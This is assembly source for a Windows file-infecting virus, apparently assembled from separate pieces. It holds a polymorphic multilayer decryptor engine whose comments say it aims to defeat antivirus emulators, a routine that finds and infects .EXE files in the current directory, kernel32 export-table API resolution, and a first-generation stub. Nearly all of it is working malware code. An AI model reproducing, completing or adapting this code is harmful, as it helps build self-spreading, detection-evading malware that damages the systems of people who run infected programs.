call @@md_done
mov ax, 0E8F7h
jmp @@orahR1_stosw
@@x_div: testcmd CMD_DIV, @@poly_cmd_restart
call @@md_init
;; check if DIV avail
or ecx, ecx
jz @@poly_cmd_exit
cmp ecx, edx
jbe @@poly_cmd_exit
;;
div ecx
call @@md_done
mov eax, 0F0F7h
jmp @@orahR1_stosw
@@x_idiv: testcmd CMD_DIV, @@poly_cmd_restart
call @@md_init
;; check if IDIV avail X-)
call @@can_idiv
jc @@poly_cmd_exit
;;
idiv ecx
call @@md_done
mov eax, 0F8F7h
jmp @@orahR1_stosw
; action: IDIV parameters checking (partial emulation, unsigned)
; input: EDX:EAX, ECX
; output: CF
; * all AV emulators performs only partial verification at this step,
; * and skips some good IDIVs. So, they will be unable to emul our code.
@@can_idiv: pusha
or ecx, ecx
stc ; 4.00:optimized
jz @@idiv_err
jg @@g1
neg ecx
@@g1: or edx, edx
jge @@g2
neg edx
neg eax
sbb edx, 0
@@g2: xor esi, esi ; d
xor edi, edi ; m
mov bl, 64
@@divcycle: shl esi, 1 ; d <<= 1
jc @@idiv_err
shl eax, 1 ; x <<= 1
rcl edx, 1
rcl edi, 1 ; m = (m << 1) | x.bit[i]
jc @@cmpsub
cmp edi, ecx ; if (m >= y)
jb @@cmpsubok
@@cmpsub: sbb edi, ecx ; m -= y
or esi, 1 ; d |= 1
@@cmpsubok: dec bl
jnz @@divcycle
shl esi, 1
jc @@idiv_err
shl edi, 1
; jc @@idiv_err ; 4.00:optimized
; popa
; retn
@@idiv_err: ; stc
popa
retn
; ---------------------------------------------------------------------------
; real super-puper...
@@x_fpu: testcmd2 CMD2_FPU, @@poly_cmd_restart
cmp in_subroutine, 0 ; avoid FPU stack overflow
jne @@poly_cmd_exit
cmp fpustack, 8 ; max FPU stack
jae @@poly_cmd_exit
cmp fpuinit, 0
jne @@alredyinit
inc fpuinit
mov ax, 0DB9Bh ; finit (wait+fninit)
stosw
mov al, 0E3h
stosb
finit
mov fpustack, 0
jmp @@poly_cmd_exit ; v5.50 bugfix
@@alredyinit:
bts regused, REG1 ; v5.50 bugfix
lea eax, [REG2+50h] ; push reg2
stosb
push em_reg[REG2*4]
call @@poly_cmd
call @@do_fild ; fld/fild dword ptr [esp]
xor esi, esi ; 1 arg
cmp fpustack, 8 ; no more fpu stack avail?
jae @@fpu_onearg
call rnd_zf
jnz @@fpu_twoarg
@@fpu_onearg:
call rnd_3
; jz @@fsin
dec eax
jz @@fcos
dec eax
jz @@fsqrt
@@fsin: mov ax, 0FED9h
fsin
jmp @@stosw_fpu_done
@@fcos: mov ax, 0FFD9h
fcos
jmp @@stosw_fpu_done
@@fsqrt: mov ax, 0FAD9h
fsqrt
@@stosw_fpu_done: stosw
@@fpu_done: call @@poly_cmd
call @@do_fist ; fstp/fistp dword ptr [esp]
call @@eip
lea eax, [REG1+58h] ; pop reg1
stosb
pop em_reg[REG1*4]
btr regused, REG1 ; v5.50 bugfix
or esi, esi
jz @@was1
call @@poly_cmd
call @@eip
mov ax, 0C483h ; add esp, 4
stosw
mov al, 4
stosb
add esp, 4
@@was1:
jmp @@poly_cmd_exit
@@fpu_twoarg: inc esi ; 2 args
lea eax, [REG1+50h] ; push reg1
stosb
push em_reg[REG1*4]
call @@poly_cmd
call @@do_fild ; fld/fild dword ptr [esp]
mov eax, 6
call rnd_eax
; jz @@fadd
dec eax
jz @@fsub
dec eax
jz @@fsubr
dec eax
jz @@fmul
dec eax
jz @@fdiv
dec eax
jz @@fdivr
@@fadd: mov ax, 0C1DEh
fadd
@@dfs_stosw_fpu_done:
dec fpustack
jmp @@stosw_fpu_done
@@fsub: mov ax, 0E9DEh
fsub
jmp @@dfs_stosw_fpu_done
@@fsubr: mov ax, 0E1DEh
fsubr
jmp @@dfs_stosw_fpu_done
@@fmul: mov ax, 0C9DEh
fmul
jmp @@dfs_stosw_fpu_done
@@fdiv: mov ax, 0F9DEh
fdiv
jmp @@dfs_stosw_fpu_done
@@fdivr: mov ax, 0F1DEh
fdivr
jmp @@dfs_stosw_fpu_done
@@do_fild: call @@eip
call rnd_zf
jz @@fld
@@fild: mov ax, 04DBh ; fild dword ptr [esp]
fild dword ptr [esp+4]
jmp @@x1
@@fld: mov ax, 04D9h ; fld dword ptr [esp]
fld dword ptr [esp+4]
@@x1: stosw
mov al, 24h
stosb
inc fpustack
call @@poly_cmd
retn
@@do_fist: call @@eip
call rnd_zf
jz @@fist
@@fst: mov ax, 1CD9h ; fstp dword ptr [esp]
fstp dword ptr [esp+4]
jmp @@x2
@@fist: mov ax, 1CDBh ; fistp dword ptr [esp]
fistp dword ptr [esp+4]
@@x2: stosw
mov al, 24h
stosb
dec fpustack
call @@poly_cmd
retn
; ---------------------------------------------------------------------------
random: mov eax, randseed
imul eax, 214013
add eax, 2531011
mov randseed, eax
mov eax, randseed2
imul eax, 8088405h
inc eax
mov randseed2, eax
xor eax, randseed
retn
rnd: push ecx
push edx
call random
mov ecx, [esp+4]+8 ; range
cmp ecx, 65536
jae @@div
@@mul: shr eax, 16
imul eax, ecx
shr eax, 16
@@rnd_exit: pop edx
pop ecx
test eax, eax
retn 4
@@div: xor edx, edx
div ecx
mov eax, edx ; v5.50 bugfix
jmp @@rnd_exit
rnd_eax: push eax
call rnd
retn
rnd_3: push 3
call rnd
retn
rnd_2: push 2
call rnd
retn
rnd_zf: push eax
call rnd_2
pop eax
retn
rnd_8: push 8
call rnd
retn
rnd_byte: push 256
call rnd
retn
rnd_dword: push eax
call rnd_byte
mov [esp+0], al
call rnd_byte
mov [esp+1], al
call rnd_byte
mov [esp+2], al
call rnd_byte
mov [esp+3], al
pop eax
test eax, eax
retn
@@multilayer:
; calc EBX = # of layers we wanna build
mov eax, nlayer ; != 1 (1 was used before)
cmp eax, 2 ; nlayer >= 2 --> exactly #
jge @@eax_layers
cmp eax, -2 ; nlayer <= -2 --> 1+rnd(-nlayer)
jle @@rnd_layers
jmp @@error_badarg ; nlayer == -1,0 --> unused
@@rnd_layers: neg eax
call rnd_eax
inc eax
@@eax_layers: xchg ebx, eax
mov restartcount, 0
@@restart:
; COPY: input -> temp
mov edi, tempbufptr
or edi, edi
jz @@error_badarg
mov esi, i_offs
mov ecx, i_size
mov t_size, ecx
rep movsb
push i_entry
pop t_entry
xor edx, edx
@@layer_cycle: inc edx ; current layer #, [1..EBX]
; KME: temp -> output
push flags
; allow FLAG_X_RETBYJMP & FLAG_X_RET0C to be set in OUTER layer only
cmp edx, ebx
je @@z0
and dword ptr [esp], not (FLAG_X_RETBYJMP+FLAG_X_RET0C)
@@z0:
push cmdavail
push cmdavail2
push regavail
push jmp_prob
push po_entry
mov ecx, po_size
or ecx, ecx
jnz @@cxnz
lea ecx, po_size_ml
mov po_size, ecx
@@cxnz:
push ecx ; po_size
push o_fillchar
push o_max
push o_offs
push t_entry
push t_size
push tempbufptr ; i_offs
push initregptr ; } used in OUTER layer only
cmp edx, ebx
je @@z1
pop eax
push 0
@@z1:
push exitregptr ; } used in INNER layer only
cmp edx, 1
je @@z2
pop eax
push 0
@@z2:
push vir_rva
push original_rva
push regsave ; } used in OUTER layer only
cmp edx, ebx
je @@z3
pop eax
push 0
@@z3:
call rnd_dword
push eax ; randseed
push 1 ; nlayer
push 0 ; tempbufptr
call kme_main
add esp, 4*KME_N_ARGS
cmp eax, KME_ERROR_NOMEMORY
jne @@baderror
cmp edx, 1
je @@baderror
mov ecx, nlayer
or ecx, ecx
jl @@restart_nlayer
test flags, FLAG_FAILIFNOMEMORY
jz @@restart_nlayer
@@baderror:
cmp eax, KME_ERROR_SUCCESS
jne @@error_eax
cmp edx, ebx
je @@success_exit
; COPY: output --> temp
mov esi, o_offs
mov edi, tempbufptr
mov ecx, po_size
mov ecx, [ecx]
mov t_size, ecx
rep movsb
mov ecx, po_entry
jecxz @@cxz
mov ecx, [ecx]
@@cxz: mov t_entry, ecx
jmp @@layer_cycle
@@do_success_exit:
; COPY: temp --> output
mov esi, tempbufptr
mov edi, o_offs
mov eax, po_size
mov ecx, t_size
mov [eax], ecx
rep movsb
mov ecx, po_entry
jecxz @@cxz2
mov eax, t_entry
mov [ecx], eax
@@cxz2:
jmp @@success_exit
@@restart_nlayer: cmp restartcount, 0
jne @@error_assert
inc restartcount
lea ebx, [edx-1] ; no we know how many can build
jmp @@restart
kme_main endp
; --------------------- flags -----------------------------------------------
KME_N_ARGS equ 21
FLAG_DEBUG equ 00000001h ; insert INT3 into poly decr
FLAG_NOLOGIC equ 00000002h ; disable "logic"
FLAG_NOJMPS equ 00000004h ; disable JMPs.
; NOJMPS means generate continuous block of code
FLAG_EIP0 equ 00000008h ; initial entry = 0, not rnd
FLAG_NOSHORT equ 00000010h ; disable short-opcodes for EAX
; v3.00+
FLAG_NOSHORT_C equ 00000020h ; disable short-consts usage
FLAG_NOSWAP equ 00000040h ; disable [cmd r1,r2] perverting
; v4.00+
FLAG_ONLY386 equ 00000080h ; only .386 opcodes
FLAG_X_CALLESP equ 00000100h ; call esp; add esp,
FLAG_X_RETBYJMP equ 00000200h ; JMP OrigEntry; otherwise RETN
FLAG_X_RET0C equ 00000400h ; MOV EAX,1/RETN 0Ch instead of RETN
; v4.50+
FLAG_RANDOMSTRATEGY equ 00000800h ; auto-select CMD_xxx & REG_xxx
; v5.00+
FLAG_NOREPEATPUSH equ 00001000h ; disable repeteable PUSH
; v5.50+
FLAG_FAILIFNOMEMORY equ 00002000h ; fail if cant create nlayer layers
FLAG_X_NORET equ 00004000h ; doesnt build JMP ESP-alike code
; --------------------- registers -------------------------------------------
KME_ERROR_SUCCESS equ 1 ; decryptor generated OK
KME_ERROR_ASSERT equ -1 ; internal error (kind of assert)
KME_ERROR_NOMEMORY equ -2 ; no free space in output buffer
KME_ERROR_BADARG equ -3 ; bad argument passed into engine
; --------------------- registers -------------------------------------------
REG_EAX equ 00000001h ; bitfields for register mask
REG_ECX equ 00000002h ;
REG_EDX equ 00000004h ; at least 1 register should
REG_EBX equ 00000008h ; be specified.
REG_ESP equ 00000010h ; use REG_DEFAULT otherwise
REG_EBP equ 00000020h ;
REG_ESI equ 00000040h ;
REG_EDI equ 00000080h ;
REG_ALL equ (not REG_ESP) and 255
REG_DEFAULT equ REG_EAX
REG_EAX_N equ 0
REG_ECX_N equ 1
REG_EDX_N equ 2
REG_EBX_N equ 3
REG_ESP_N equ 4
REG_EBP_N equ 5
REG_ESI_N equ 6
REG_EDI_N equ 7
; --------------------- commands --------------------------------------------
CMD_ALL equ -1 ; use all available commands
CMD_MOV equ 00000001h ; bitfields for command mask
CMD_XCHG equ 00000002h ;
CMD_ADD equ 00000004h ; at least 1 command should
CMD_SUB equ 00000008h ; be specified. default=XOR
CMD_XOR equ 00000010h ;
CMD_INC equ 00000020h ; all CMD_xxx commands can be
CMD_DEC equ 00000040h ; disabled by FLAG_NOLOGIC
CMD_OR equ 00000080h ;
CMD_AND equ 00000100h ;
CMD_SHL equ 00000200h ;
CMD_SHR equ 00000400h ;
CMD_ROL equ 00000800h ;
CMD_ROR equ 00001000h ;
CMD_SAR equ 00002000h ;
CMD_NOT equ 00004000h ;
CMD_NEG equ 00008000h ;
CMD_IMUL_EX equ 00010000h ;
CMD_SHLD equ 00020000h ;
CMD_SHRD equ 00040000h ;
CMD_BTC equ 00080000h ;
CMD_BTR equ 00100000h ;
CMD_BTS equ 00200000h ;
CMD_BSWAP equ 00400000h ;
CMD_XADD equ 00800000h ;
CMD_MOVSXZX equ 01000000h ; mov?x
CMD_BSR equ 02000000h ;
CMD_BSF equ 04000000h ;
CMD_MUL equ 08000000h
CMD_IMUL equ 10000000h
CMD_DIV equ 20000000h
CMD_IDIV equ 40000000h
CMD_PUSHPOP equ 80000000h ; used when initializing regs
;;
CMD_OLDSTUFF equ 000FFFFFFh ; 1.00
CMD_NEWSTUFF equ 0FF000000h ; 2.00+
CMD2_ALL equ -1
CMD2_PUSHPOPR equ 00000001h ; push r; polycmd; pop r
CMD2_PUSHPOPC equ 00000002h ; push c; polycmd; pop r
CMD2_IFOLLOW equ 00000004h ; cmp r, c; jxx
CMD2_INOFOLLOW equ 00000008h ; cmp r, c; jxx fake
CMD2_RFOLLOW equ 00000010h ; cmp r, r; jxx
CMD2_RNOFOLLOW equ 00000020h ; cmp r, r; jxx fake
CMD2_SUBROUTINE equ 00000040h ; 8-()
CMD2_CYCLE equ 00000080h ; |->
CMD2_FPU equ 00000100h ; X-) fsin,fcos,fsqrt,fadd,fsub,fmul,fdiv,fsubr,fdivr
; ===========================================================================
infect_files:
pushad
call delta
;search for *.EXE files in the current directory
sub esp,SIZEOF_WIN32_FIND_DATA
mov eax,esp
X_PUSH ecx,*.EXE~
mov ecx,esp
push eax
push ecx
call [ebp+_FindFirstFileA]
X_POP
mov ebx,eax
inc eax
;no file found? exit...
@@find_next:
jz @@end_search
;found a file? map and infect it
call map_infect
;search next file
push esp
push ebx
call [ebp+_FindNextFileA]
test eax,eax
jmp @@find_next
;close the search handle
@@end_search:
push ebx
call [ebp+_FindClose]
add esp,SIZEOF_WIN32_FIND_DATA
popad
ret
;this routine retrieve from the kernel32.dll image (in EAX) the APIs the virus need.
get_k32_apis:
call @@apiimport
API SetFileTime
API SetFileAttributesA
API CreateFileA
API CreateFileMappingA
API MapViewOfFile
API UnmapViewOfFile
API CloseHandle
API SetFilePointer
API SetEndOfFile
API LoadLibraryA
API CreateThread
API GetModuleFileNameA
API GetFileSize
API ReadFile
API GlobalAlloc
API GetTickCount
API Sleep
API FindFirstFileA
API FindNextFileA
API FindClose
dd -1
@@apiimport:
;ESI will hold the APIs we need
pop esi
get_apis:
pushad
;eax = dll imagebase
mov ebp,eax
add eax,[ebp.MZ_lfanew]
;EDI will hold the pointer to dll export directory
mov edi,[eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
add edi,ebp
;check if all APIs where retrieved. if so, exit
@@scan_name:
mov edx,esi
lodsd
inc eax
jz @@done_import
;now, in a cycle, compare the name of the APIs in the kernel32.dll export
;table with the API we need.
mov ebx,[edi.ED_AddressOfNames]
add ebx,ebp
sub ecx,ecx
@@getapinameptr:
COMPARE
jz @@found
;check next API in kernel32.dll export table
inc ecx
add ebx,4
jmp @@getapinameptr
;we found the API. so, retrieve its ordinal number, and use it to get the API
;address
@@found:
mov eax,[edi.ED_AddressOfNameOrdinals]
add eax,ebp
shl ecx, 1
movzx ecx,wo [eax.ecx]
mov eax,[edi.ED_AddressOfFunctions]
add eax,ebp
mov eax,[eax.(ecx*4)]
add eax,ebp
mov [edx],eax
GONEXT
jmp @@scan_name
@@done_import:
popad
ret
virus_size=$-virus_main
.code
;thats the stub code, that simulate a infected file, for the virus first
;generation sample.
stubcode:
jmp virus_main
__ret:
push 10*1000
extrn Sleep:PROC
call Sleep
push 0
extrn ExitProcess:PROC
call ExitProcess
end stubcode